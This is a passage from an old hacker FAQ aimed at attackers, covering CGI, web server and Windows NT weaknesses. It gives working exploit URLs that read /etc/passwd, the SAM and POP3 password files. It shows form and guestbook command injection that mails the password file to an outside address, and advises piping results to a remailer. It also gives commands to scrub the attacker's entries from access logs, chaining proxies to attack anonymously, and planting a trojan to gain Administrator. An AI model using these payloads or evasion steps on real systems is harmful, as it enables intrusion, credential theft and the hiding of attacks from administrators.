AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

Once again, the 0a character can be used to try to get this file to do other things, or you could simply try an asterisk:

http://example.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

These might get you a list of files in /cgi-bin:

9.3 What about that "~" character?

The "~", or tilde (pronounced "til-day"), is used during a resolve of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html so that ~ replaces /public_html when getting to a user's directory. Some Unix servers that do not have a /public_html may attempt to resolve to the home directory listed in /etc/passwd. For example, this URL might return some interesting information:

http://example.com/~root

If the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file:

http://example.com/~root/etc/passwd

Some admins may patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just root, but every user on the system, including putting a tilde in front of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will do quite nicely.

9.4 What is the jj.c problem?

The demo CGI program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a "|" followed by a Unix command. It may require a password, but two known passwords include HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program, running strings on it will probably reveal the password.

Do a search for jj.c to get a copy and study the code yourself if you have more questions.

9.5 What's the deal with forms?

Here's the typical example: A web author has a form on a page that allows the public to send email to a certain address. But what if the author is going to be on vacation? What if the address needs to be changed each month? By including the address in the form the web author doesn't have to change the CGI script. Outside of the normal fields for From:, Subject:, etc. there is usually something in the form like this:

<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>">

After clicking on the submit button, it goes to a CGI script. Once again, it is typical to write out the info to a temp file and then read it back in to be sent to sendmail:

/* code snippet in C, although you can do the same type thing in Perl */
sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file);
system(buffer);

A shell is being forked, and since in the code above the variables are being passed without being checked for extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as a local HTML file). Once copied, edit the form to include the following:

<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com
<mailto:VALUE=>;cat /etc/passwd | mail thegnome@5th.column.gov
<mailto:thegnome@5th.column.gov>">

Note the addition of the semicolon. The semicolon tells the forked shell it has another completely separate command to run, which in this example sends the passwd file to a government spy.

It should be pointed out that, for the most part, you will have no idea that this type of technique is going to work until you try it. Look around, and you will sometimes see these attempts at various places. It's always funny to see this entry in a guestbook:

From: fred@kissmybutt.com mailto:fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST)

Loved your web page. Looks nice.;mail phil@idiot.com <mailto:phil@idiot.com> < cat /etc/passwd

Not only does it have Phil's email address, but his real IP address and a time stamp. Ouch! So hackers, if you want to be evil, try forging your IP address and sending the passwd file to a remailer.

9.6 What will this look like in the target's log files?

Here is an example:

example.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Aid%0A==foo==_phone=
==_school== HTTP/1.0" 200 116
example.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Acat%20/etc/passwd%0A==foo==
_phone===_school== HTTP/1.0" 200 7241
example.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Auname%20-a%0A==foo==e_phone===_school== HTTP/1.0" 200 154
example.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Acat%20/etc/shadow%0A==foo==
_phone===_school== HTTP/1.0" 200 105
example.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=name=_phone===_school== HTTP/1.0" 200 175
example.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=nickname=_phone===_school== HTTP/1.0" 200 175
example.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A==foo=
=_phone===_school== HTTP/1.0" 200 138
example.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A==f
oo==_phone===_school== HTTP/1.0" 200 119
example.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Aid%0A==foo==_ph
one===_school== HTTP/1.0" 200 116
example.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%0A==foo==_ph
one===_school== HTTP/1.0" 200 300
example.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A==foo=ckname=_phone===_school== HTTP/1.0"200 107

Two attacks. The first one involves trying to access /etc/passwd and /etc/shadow, with attempts to determine what id httpd is running under, with failed attempts at the passwd file. The second is a little more interesting. Since /etc/shadow can't be accessed directly, the attacker tries to move the file to anonymous FTP's incoming directory for an alternate method of retrieval.

9.7 What's the deal with Server-Side Includes?

A Server-Side Include (SSI) is a way to imbed special operations and commands into an HTML document. The potential for abuse is there when they are combined with CGI and the modification of HTML.

The biggest example is the guestbook. Typically, the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple: Hacker fills out guestbook form and includes an SSI. Via CGI, the form is appended to the guestbook which is typically just an HTML document. Next person that views the guestbook activates the SSI. So what is bad? Consider these SSIs:

The first one erases everything that the id that httpd is running under owns. This is a little psycho, but should give you an idea on how serious this is (hope you're not running that httpd as root!). The next two give you a couple of more ideas to run with. And the last one, pasted into the document a couple hundred times will grind a server to a halt the next time that guestbook is accessed.

9.8 What if SSIs are turned on but includes are stripped from user input?

If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI, but if an anon FTP "/incoming" directory is in place and you can view an uploaded file via your browser, you could include the SSI stuff into an HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server could do the same things.

9.9 What is SSL?

SSL (Secure Socket Layer) is a encryption and user authentication standard for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt: symmetric (the same key is used for encoding and decoding) and asymmetric (one key is used for encoding and another for decoding). In the latter, there are a pair of keys that work together, one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.

For this to work in a web environment, you need the scheme built into the browser and the server. SSL uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)

9.10 How can I attack anonymously?

There are a couple of ways to do this. First off, you could use a proxy. In the log files, the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.

It is possible, even desirable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.

Of course, since you don't need a browser to hack ('telnet targetaddress 80' will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "|mail hacker@remailer.example.com" to the end of each attempt so you can see the results.

9.11 What is the asp dot attack?

Well, it's hardly an attack, but worth mentioning. Microsoft's Active Server Pages are dynamic pages, and are often used to do things such as control access to other pages or systems. Obviously, accessing the page's source would give the browsing party this info, which is usually not the intent of the author. Instead of accessing like so...

http://www.example.com/secret/files/default.asp

... add a dot on the end...

http://www.example.com/secret/files/default.asp.

...and this may yield the source code of the NT server's html page.

9.12 What is the campas attack?

The campas attack refers to an old NCSA script called campas.sh which accepted newlines. For example:

http://www.example.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a

This is old (version 1.2) and typically not found on most systems.

9.13 What is the count.cgi attack?

Versions earlier than 2.4 are susceptable to buffer overflows. The version of count.cgi is 2.5.

9.14 What is the faxsurvey attack?

If the HylaFAX package is installed (common on some older Linux distributions), you can send arbitrary commands running as the UID of the web server:

http://www.example.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

9.15 What about finger.cgi?

Found on some systems, it allows you to finger a user via your web browser. The fingered site has the web server's IP address in their logs, not yours. If a site has this cgi script installed but finger traffic is blocked at their firewall, you could possibly finger hosts behind the firewall:

http://www.example.com/cgi-bin/finger\?thegnome@vortex.nmrc.org

9.16 What is the glimpse exploit?

If a site is running Glimpse HTTP and uses the standard scripts, arbitrary commands can be issued. This is a long line of text, but you should be able to figure it out:

http://www.example.com/cgi-bin/aglimpse/80IFS=5;CMD=5mail5thegnome\@nmrc.org\ <mailto:thegnome\@nmrc.org\>passwd;eval$CMD

9.17 What are some other CGI scripts that allow remote command execution?

Anything below version 2.9932 of the Htmlscript CGI allows for remote execution of commands. So does versions earlier than 1.2 of info2www. Also earlier versions of view_source.cgi, webdist.cgi, webgais.cgi, and websendmail.cgi are vulnerable.

We don't have the syntax handy, so look at the multitude of other web sploits in this FAQ and guess the url... ;-)

9.18 What are the MetaInfo attacks?

MetaInfo puts out a couple of NT products, such as MetaIP and a port of the Unix Sendmail program. These can be remotely managed by a web browser at port 5000 (the default). These can be exploited.

For the MetaInfo Sendmail:

http://www.example.com:5000/../../winnt/repair/sam - Gets the SAM
http://www.example.com:5000/../smusers.txt - Gets the POP3 password file

For MetaIP (note 3 nested levels back to c:\ instead of 2):

http://www.example.com:5000/../../../winnt/repair/sam - Gets the SAM

You can also execute arbitrary commands (this assumes Sendmail):

http://www.example.com:5000/../../winnt/system32/net.exe?use%20 etc etc

With this, you can have all kinds of fun, especially if the Resource Kit is used as there are a large number of command line utilities you can use. If the NT box is the sendmail server and the firewall, odds are you will be able to own the entire company.


Top | Next: The Basic Web Server | Previous: Web Browser as Attack Point | Table of Contents

10.0 The Basic Web Server


This section deals with other platforms but it mainly refers to Unix-based Web servers.


10.1 What are the big weak spots on servers?

The big weak spots are as follows:

10.2 What are the critical files?

They are as follows(the names may vary depending on the httpd server you're running):

httpd.conf
Contains all of the info to configure the httpd service.
srm.conf
Contains the info as to where scripts and documents reside.
access.conf
Defines the service features for all browsers.
.htaccess
Limits access on a directory-by-directory basis.

10.3 What's the difference between httpd running as a daemon vs. running under inetd?

Performance. If httpd is running as a standalone daemon, it read its configuration files once, and responses faster to user requests. Typically, if a site is expecting many users, the server is dedicated. This can be as simple as starting httpd as follows:

# httpd &

Of course, the site will probably have something like this in the /etc/rc0 (or equivalent file) so that httpd starts on bootup:

if [ -x /path/to/httpd ]
/path/to/httpd
fi

Most sites with web servers accessible to the Internet run as a standalone daemon. The downside is if the web service isn't being used all of the time then the server is wasting CPU running a web service with no one accessing it.

Running httpd under inetd starts and stops as user requests come in. The performance isn't as good -- as the server spawns httpd for each user, the configuration files are read in for each request. It is usually run by having a line in /etc/services like this:

http 80/tcp

There is an entry like this in /etc/inetd.conf:

http stream tcp nowait nobody /path/to/httpd httpd

This type of setup is most common on intranets. Very few Internet servers are set up this way, unless they are simply not very busy or the site is simply trying to save resources, combining web, ftp, and a few other services on one box.

10.4 How does the server resolve paths?

Typically, a server will resolve paths by having a point in the configuration files that says something like "turn ~ into public_html", which means that ~thegnome will resolve to /server/path/to/documents + public_html. Therefore, if your server's path to docs is /usr/local/etc/httpd/htdocs with a sub directory under that of public_html with all of the users' directories under THAT, http://www.example.com/pub/public_html/thegnome becomes http://www.example.com/~thegnome and accesses the same file.

The problem with resolves is that some sites (depending on software, revisions, os, patches, etc) will resolve based off of the /etc/passwd listing of the home directory. This is good for intrusion, bad for security. As stated earlier in the FAQ, accessing http://www.example.com/~bin/etc/ can yield interesting results. In practical experience, we've seen this more often on BSD derivatives with Apache than anything else.

10.5 What log files are used by the server?

This entirely depends on the server software and how it is configured. It is usually in a subdirectory called "logs" in a different section of the tree than the regular web pages. It is usually named "access_log" for Apache or NCSA, or "access" for Netscape, or some other easily self-identifying name. This log will contain entries like so:

thegnome.example.com - - [14/Dec/1996:00:13:31 -0600] "GET /nomad/ HTTP/1.0" 200 293
thegnome.example.com - - [14/Dec/1996:00:13:35 -0600] "GET /nomad/2.html HTTP/1.0" 200 303
thegnome.example.com - - [14/Dec/1996:00:13:39 -0600] "GET /nomad/3.html HTTP/1.0" 200 333
thegnome.example.com - - [14/Dec/1996:00:13:43 -0600] "GET /nomad/4.html HTTP/1.0" 200 359
thegnome.example.com - - [14/Dec/1996:00:13:47 -0600] "GET /nomad/5.html HTTP/1.0" 200 385
thegnome.example.com - - [14/Dec/1996:00:13:51 -0600] "GET /nomad/6.html HTTP/1.0" 200 434
thegnome.example.com - - [14/Dec/1996:00:13:55 -0600] "GET /nomad/nomad.html HTTP/1.0" 200 1988
thegnome.example.com - - [14/Dec/1996:00:14:02 -0600] "GET /nomad/unix/index.html HTTP/1.0" 200 5066
thegnome.example.com - - [14/Dec/1996:00:14:28 -0600] "GET /nomad/unix/cvnmount.exploit HTTP/1.0" 200 3117

Obviously, if your phf accesses are in there, it could be incriminating. If you gain access, you might want to eliminate yourself from them.

  1. mv access_log access_tmp
  2. cat access_tmp | grep -v thegnome.fastlane.net > access_log
  3. rm access_tmp

The same with the error log. Called error_log or error, it's entries look like so:

[Thu Dec 19 22:10:02 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/netware.htm failed for dyn2121a.dialin.example.com, reason: File does not exist
[Thu Dec 19 22:10:21 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/_free.html_ failed for dyn2121a.dialin.example.com, reason: File does not exist
[Thu Dec 19 23:29:35 1996] access to /usr/local/etc/httpd/htdocs/nomad/HTTP failed for niobe.example.com, reason: File does not exist
[Thu Dec 19 23:48:19 1996] send script output lost connection to client ip189.raleigh3.nc.example.com
[Thu Dec 19 23:48:25 1996] send script output lost connection to client 10.0.1.1
[Fri Dec 20 09:19:13 1996] accept: Connection reset by peer
[Fri Dec 20 09:19:13 1996] - socket error: accept failed
[Fri Dec 20 10:35:41 1996] accept: Connection reset by peer
[Fri Dec 20 10:35:41 1996] - socket error: accept failed
[Fri Dec 20 10:39:55 1996] access to /usr/local/etc/httpd/htdocs/nomad/unix/Xtx86.c failed for 192.168.1.1, reason: File does not exist

10.6 How do access restrictions work?

This is going to vary from platform to platform, but we're going to use NCSA as an example. We're not going into a lot of detail, the point is that service can be limited, and to give a flavor of how easy it is for an admin to set up.

Restricting Access by Host Name:

In NCSA this is in access.conf, and you can specify the following:

allow
host names allowed
AllowOveride
determines whether per-directory access overrides global access restrictions
deny
host names denied

There are more options depending on OS, server software, etc., and you can get pretty detailed. But most server software allows access restriction by host names.

Restricting Access by Directory:

This is usually accomplished by specifying a realpath/to/directory tag with the restrictions following, and then closing with an ending tag of , all within the access.conf file. For example, let's say the admin wants to limit a directory to company employees only on an NCSA server:

<Limit GET>
        order deny,allow
        deny from all
        allow from mydomain.org

Include those lines in a .htaccess file in the directory you wish to limit and bingo, you're limiting access.

10.7 How do password restrictions work?

This typically involves the admin performing the following functions:

Building each user id/password as needed. Updating the main configuration files to recognize that passwords are being used. Updating any .htaccess files in individual directories.

The command line syntax for creating a user ID and password (on NCSA) is:

htpasswd [-c] .htpasswdUserName

UserName is the name of the user file you wish to create or edit. The -c option specifies a new file be created, not the old one edited. If you are creating a new UserName file, and htpasswd doesn't find a duplicate name, you will be prompted for the password. If it finds a duplicate name, it will prompt you to type it in twice. These passwords do not correspond to system passwords, so if you are an idiot wannabe hacker and you just got into a server with a shell, don't expect to create a root account with htpasswd and then su to it.

In NSCA, you will find the following in the access.conf file indicating passwords are in use:

<Directory /usr/stuff/WWW/docs>
        AllowOverride None
        Options Indexes
        AuthName secretPassword
        AuthType Basic
        AuthUserFile /usr/WWW/security/.htpasswd
        AuthGroupFile /usr/WWW/security/NULL
        <Limit GET>
                require user UserName
        

For a directory-level usage, this might be in the .htaccess file:

AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/.group1
<Limit GET>
        require user UserName

Once again, we're not going to go into a lot of detail here. You need to read the documentation for the server you're attacking (i.e. do your homework) and THEN start changing or updating files. For example, .htaccess is the name of the file for NCSA and its derivatives.

One of the good things for intruders is that if an admin is using per-directory restrictions you can often retrieve these files just like a regular URL. For example, if the target is restricting access to the /usr/local/etc/httpd/docs/secure directory using a .htaccess file to control access, this URL might retrieve it (depending on server software):

http://www.example.com/secure/.htaccess

Besides containing important info, it will give you the location of the web passwd file.

10.8 What is web spoofing?

Summed up, web spoofing is a man-in-the-middle attack that makes the user think they have a secured session with one specific web server, when in fact they have a secured session with an attacker's server. At that point, the attacker could persuade the user to supply credit card or other personal info, passwords, etc. You get the idea.

Here's how it works in a nut shell:

What is the problem here? It is not SSL. It is the certificates. You see, as long as you have what looks to be the proper info in the certificate, the user will never know the difference. Sure, the URL might not look right, but you can use Java to control that.

Of course, only an idiot would redirect a user to a server in their home or office, you would of course redirect them to a server you have compromised. And you would use the compromised server's certificate to get that solid key. That's the trick -- make the key solid, and the user is fooled.

For more details on this type of attack, check out the following URLs:


Top | Next: NT Basics | Previous: The Web Browser as an Attack Tool | Table of Contents

This section deals with the basics and other background info to help prepare for NT hacking.


11.1 What are the components of NT security?

There are several different components. Each has a role within the overall NT security model. Because of the amount and complexity of components in the security model, not only should the individual components be explored, but how they work together should be explored.

Local Security Authority (LSA)
This is also known as the Security Subsystem. It is the central component of NT security. It handles local security policy and user authentication. LSA also handles generating and logging audit messages.
Security Account Manager (SAM)
SAM handles user and group accounts, and provides user authentication for LSA.
Security Reference Monitor (SRM)
SRM enforces access validation and auditing for LSA. It checks user accounts as the user tries to access various files, directories, etc, and either allows or denies access. Auditing messages are generated as a result. The SRM contains a copy of the access validation code to ensure that resources are protected uniformly throughout the system, regardless of resource type.
User Interface (UI)
An important part of the security model, the UI is mainly all that the end user sees, and is how most of the administration can be performed.

11.2 How does the authentication of a user actually work?

First, a user logs on. When this happens, NT creates a token object that represents that user. Each process the user runs is associated with this token (or a copy of it). The token-process combination is refered to as a subject. As subjects access objects such as files and directories, NT checks the subject's token with the Access Control List (ACL) of the object and determines whether to allow the access or not. This may also generate an audit message.

11.3 What is "standalone" vs. "workgroup" vs. "domain"?

Each NT workstation participates in either a workgroup or a domain. Most companies will have NT workstations participate in a domain for management of the resource by the administrator.

A domain is one or more servers running NT server with all of the servers functioning as a single system. The domain not only contains servers, but NT workstations, Windows for Workgroups machines, and even LAN Manager 2.x machines. The user and group database covers ALL of the resources of a domain.

Domains can be linked together via trusted domains. The advantage of trusted domains is that a user only needs one user account and password to get to resources across multiple domains, and administrators can centrally manage the resources.

A workgroup is simply a grouping of workstations that do not belong to a domain. A standalone NT workstation is a special case workgroup.

User and group accounts are handled differently between domain and workgroup situations. User accounts can be defined on a local or domain level. A local user account can only logon to that local computer, while a domain account can logon from any workstation in the domain.

Global group accounts are defined at a domain level. A global group account is an easy way to grant access to a subset of users in a domain to, say, a single directory or file located on a particular server within the domain. Local group accounts are defined on each computer. A local group account can have global group accounts and user accounts as members.

In a domain, the user and group database is "shared" by the servers. NT workstations in the domain DO NOT have a copy of the user and group database, but can access the database. In a workgroup, each computer in the workgroup has its own database, and does not share this information.

11.4 What is a Service Pack?

Microsoft maintains a large online database of fixes for operating systems and applications. These fixes are refered to as Service Packs. NT has its share, and typically the latest Service Pack has the latest fixes, including security patches.

Installing a Service Pack is NOT something to be taken lightly -- to turn on or off some features involves some Registry editing. Installation can in some circumstances disable or cause conflicts. Often after a new product has been loaded, even a Microsoft product, you must reinstall the Service Pack. For this reason, LAN administrators often neglect the timely installation of Service Packs. For the hacker, this is a decided advantage -- especially if the site has numerous NT servers and workstations in need of patching. One day maybe Microsoft will make Service Pack installation a little less painlful, but until then you will find MANY locations will be either under-patched or not patched at all.

Typically Service Packs are fairly well tested, although this is no guarantee everything is "fixed". Admins should not place 100% of their faith in them, but then hackers should not underestimate their value in closing holes.

11.5 What is a Hot Fix?

A Hot Fix is what is released between Service Pack releases. A Hot Fix is generally released to address a specific problem or condition. Some Hot Fixes may have a prerequisite of a certain Service Pack, and are typically included in the next Service Pack.

Once again, some of the Hot Fixes are downright dangerous to monkey around with, and many LAN folks will simply neglect installation especially at large NT shops. And once again this is good news for the hacker.

Hot Fixes are not as well tested as the Service Packs are -- often they are released after headline-grabbing security flaws are announced, so they are often rushed to press.

11.6 Where are Service Packs and Hot Fixes?

The main location for Service Packs can be found at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz where xxx is the country, yyy is the NT version, and zzz is the Service Pack. For example, this is the address for the USA version of Service Pack 3 for NT 4:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3

The main location for Hot Fixes can be found at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz where xxx is the country, yyy is the NT version, and zzz is the Hot Fix directory. For example, this is the address for the USA versions of Hot Fixes for NT 4 if Service Pack 3 is already installed:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3

11.7 What's with "C2 certification"?

I'm not going to get into a bunch of detail on this. There are far better places to go for the info, but I will state this -- running the c2config utility to "lock down" your system will not protect you if you want to run third party software, use the floppy drive, or connect to the network. It is simply a marketing tactic used by Microsoft. The C2 tested configuration had no network access and no floppy drive. Who wants to use that?

And keep in mind that C2 certification does not consider a number of common sense items such as a hard-to-guess password. I can see some value in running the c2config utility and "opening up" the system as needed to make it useable, but this is a lot of work and beyond the scope of what I'm discussing here.

11.8 Are there are interesting default groups to be aware of?

There are a number of built-in local groups can do various functions, some which would be better off being left to the Administrator. Administrators can do everything, but the following groups' members can do a few extra items (I only verified this on 4.0):

Server Operators
do a shutdown, even remotely; reset the system time; perform backups and restores.
Backup Operators
do a shutdown; perform backups and restores.
Account Operators
do a shutdown.
Print Operators
do a shutdown.

Also members of these groups can login at the console. As you explore the NT sections of this FAQ and possibly someone else's server, remember these permissions. Gaining a Server Operator account and placing a trojan that activates after a remote shutdown could get you Administrator.

11.9 What are the default directory permissions?

Like the previous question, I only verified these on 4.0. And remember, Administrators are deities. Otherwise, if it isn't here, the group doesn't have access.

\(root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read and execute files, display permissions on files, and do some changing on file attributes.

\SYSTEM32\CONFIG - Everyone can list filenames in this directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access, Everyone has read access.

\SYSTEM32\SPOOL - Server Operators and Print Operator have full access, Everyone has read access.

\SYSTEM32\REPL\EXPORT - Server Operators can read and execute files, display permissions on files, and do some changing on file attributes. Replicator has read access.

\SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and execute files, display permissions on files, and do some changing on file attributes. Everyone has read access.

\USERS - Account Operators can read, write, delete, and execute. Everyone can list filenames in this directory.

\USERS\DEFAULT - Everyone has read, write, and execute.

11.10 Are there any special restrictions surrounding the Administrative Tools group in Presentation Manager?

The following tools have the following default group restrictions in 4.0:

Disk Administrator
Must be a member of the Administrators group.
Event Log
Anyone can run Event Viewer, but only members of the Administrators group can clear logs or view the Security Log.
Backup
Anyone can backup a file they have normal access to, but only the Administrators and Backup Operators can over override normal access.
User Manager
Users and Power Users can create and manage local groups.
User Manager for Domains
Users and Power Users can create and manage local groups if logged on at the server console, otherwise it is restricted to Administrators and Account Operators.
Server Manager
Only Administrators, Domain Admins, and Server Operators can use this on domains they have an account on. Account Operators can only add new accounts to the domain. Some features in Server Manager can only be used by the Administrators and Domain Admins.

11.11 What is the Registry?

The Registry is the central core registrar for Windows NT. Each NT workstation or server has its own Registry, and each one contains info on the hardware and software of the computer it resides on. For example, comm port definitions, Ethernet card settings, desktop setting and profiles, and what a particular user can and cannot do are stored in the Registry. Remember those ugly system INI files in Windows 3.1? Well, they are all included with even more fun stuff into one big database called the Registry in NT.

Of interest to hackers is the fact that all access control and assorted parameters are located in the Registry. While I'm tempted to discuss just that portion of the Registry, I'll briefly cover everything for completeness but put the fun stuff up front.

The Registry contains thousands of individual items of data, and are grouped together into "keys" or some type of optional value. These keys are grouped together into subtrees -- placing like keys together and making copies of others into separate trees for more convenient system access.

The Registry is divided into four separate subtrees. These subtrees are called HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, and HKEY_USERS. We'll go through them from most important to the hacker to least important to the hacker.

First and formost is the HKEY_LOCAL_MACHINE subtree. It contains five different keys. These keys are as follows:

SAM and SECURITY - These keys contain the info such as user rights, user and group info for the domain (or workgroup if there is no domain), and passwords. In the NT hacker game of capture the flag, this is the flag. Bag this and all bets are off.

The keys are binary data only (for security reasons) and are typically not accessible unless you are an Administrator or in the Administrators group. It is easier to copy the data and play with it offline than to work on directly. This is discussed in a little more detail in the NT Password section.

HARDWARE - this is a storage database of throw-away data that describes the hardware components of the computer. Device drivers and applications build this database during boot and update it during runtime (although most of the database is updated during the boot process). When the computer is rebooted, the data is built again from scratch. It is not recommended to directly edit this particular database unless you can read hex easily.

There are three subkeys under HARDWARE, these are the Description key, the DeviceMap key, and the ResourceMap key. The Description key has describes each hardware resource, the DeviceMap key has data in it specific to individual groups of drivers, and the ResourceMap key tells which driver goes with which resource.

SYSTEM - This key contains basic operating stuff like what happens at startup, what device drivers are loaded, what services are in use, etc. These are split into ControlSets which have unique system configurations (some bootable, some not), with each ControlSet containing service data and OS components for that ControlSet. Ever had to boot from the "Last Known Good" configuration because something got hosed? That is a ControlSet stored here.

SOFTWARE - This key has info on software loaded locally. File associations, OLE info, and some miscellaneous configuration data is located here.

The second most important main key is HKEY_USERS. It contains a subkey for each local user who accesses the system, either locally or remotely. If the server is a part of a domain and logs in across the network, their subkey is not stored here, but on a Domain Controller. Things such as Desktop settings and user profiles are stored here.

The third and fourth main keys, HKEY_CURRENT_USER and HKEY_CLASSES_ROOT, contain copies of portions of HKEY_USERS and HKEY_LOCAL_MACHINE respectively. HKEY_CURRENT_USER contains exactly would you would expect, a copy of the subkey from HKEY_USERS of the currently logged in user. HKEY_CLASSES_ROOT contains a part of HKEY_LOCAL_MACHINE, specifically from the SOFTWARE subkey. File associations, OLE configuration and dependency information.

11.12 What are hives?

Hives are the major subdivisions of all of these subtrees, keys, subkeys, and values that make up the Registry. They contains "related" data. Look, I know what you might be thinking, but this is just how Microsoft divided things up -- I'm just relaying the info, even I don't know exactly what all the advantages to this setup are. ;-)

All hives are stored in %systemroot%\SYSTEM32\CONFIG. The major hives and their files are as follows:

Hive                         File      Backup File
---------------------------  ------    ------------
HKEY_LOCAL_MACHINE\SOFTWARE  SOFTWARE  SOFTWARE.LOG
HKEY_LOCAL_MACHINE\SECURITY  SECURITY  SECURITY.LOG
HKEY_LOCAL_MACHINE\SYSTEM    SYSTEM    SYSTEM.LOG
HKEY_LOCAL_MACHINE\SAM       SAM       SAM.LOG
HKEY_CURRENT_USER            USERxxx   USERxxx.LOG
                             ADMINxxx  ADMINxxx.LOG
HKEY_USERS\.DEFAULT          DEFAULT   DEFAULT.LOG

Hackers should look for the SAM file, with the SAM.LOG file as a secondary target. This contains the password info.

11.13 Why is the Registry like this and why do I care?

Who the hell knows why it's this way? ;-)

The main reason is a step towards central administration and combining all that crap from SYSTEM.INI, WIN.INI, and other "legacy" Windows 3.x config stuff into one database. Then nice and neat individual GUI applications could be used to manipulate the data contained inside. And with the idea of a "domain" there are some "centralized" functionalities that are a little more convenient.

Is it better than Windows 3.x? This is debatable, although in my personal opinion I'd say yes. Were the design functions met? Probably not. While the Registry tries to be all things to all subcomponents of a domain, it does tend to smell like there were too many cooks in Microsoft's kitchen and simply not enough spoons. Some functions seem to be well suited for the Registry, some not. It is certainly not "portable" like Novell's NDS, that is you will probably never find the Registry running on a Unix system, whereas Novell's NDS is a much simpler design and is quite portable. Both schemes have their place -- NDS does not contain or manage OS info at the Desktop level and the Registry does.

Who wins? My guess is the people currently offering training classes in any modern OS are probably loving this because it is so complex, therefore it is guaranteed income. And hackers also win, because this is a complex environment where one wrong parameter setting or one Hot Fix not loaded could mean free and easy access.

My main advice to hackers is to play around with the Registry on home systems before the attack, because as you go further and further into an NT environment, you stand more chances of screwing things up, which is an easy way to make yourself known.

11.14 What is the deal with Microsoft's implementation of PPTP?

Microsoft uses an implementation of PPTP in its Windows 95/98/NT products for the creation of Virtual Private Networks (VPNs). This is supposed to allow an encrypted and security tunnel to be established between two computer systems. In June of 1998, Bruce Schneier of Counterpane Systems and Dr. Mudge of the L0pht published a paper entitled "Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol". The paper did not find flaws with PPTP, only Microsoft's implementation of it. Another paper was published in Phrack 53 by Aleph1 entitled "The Crumbling Tunnel" in July of 1998. Together, along with some sample code (available from the L0phtcrack download page), a number of significant flaws were brought to light.

Microsoft did release some patches in August, and addressed most of the concerns. You can read about this in Qxxxxxxxx. Rather than rehash what has already been covered in these papers, we'll just cover the remaining issues Microsoft has failed to address.

Microsoft uses Microsoft's Point-to-Point Encryption (MPPE) to generate a session key and encrypt the session itself. Delivery of the session key happens via Microsoft's implementation of PPP CHAP called MS-CHAP. After the release of the above papers, Microsoft came out with a new MS-CHAPv2.

The issues outstanding that Microsoft has failed to address are:

1. The entire session and/or packet is not encrypted. There are still "pieces" visible to sniffing, such as DNS server addresses. This is partially due to the fact that the entire negotiation process is "on the wire". Control of the encrypted session is handled via this separate connections.

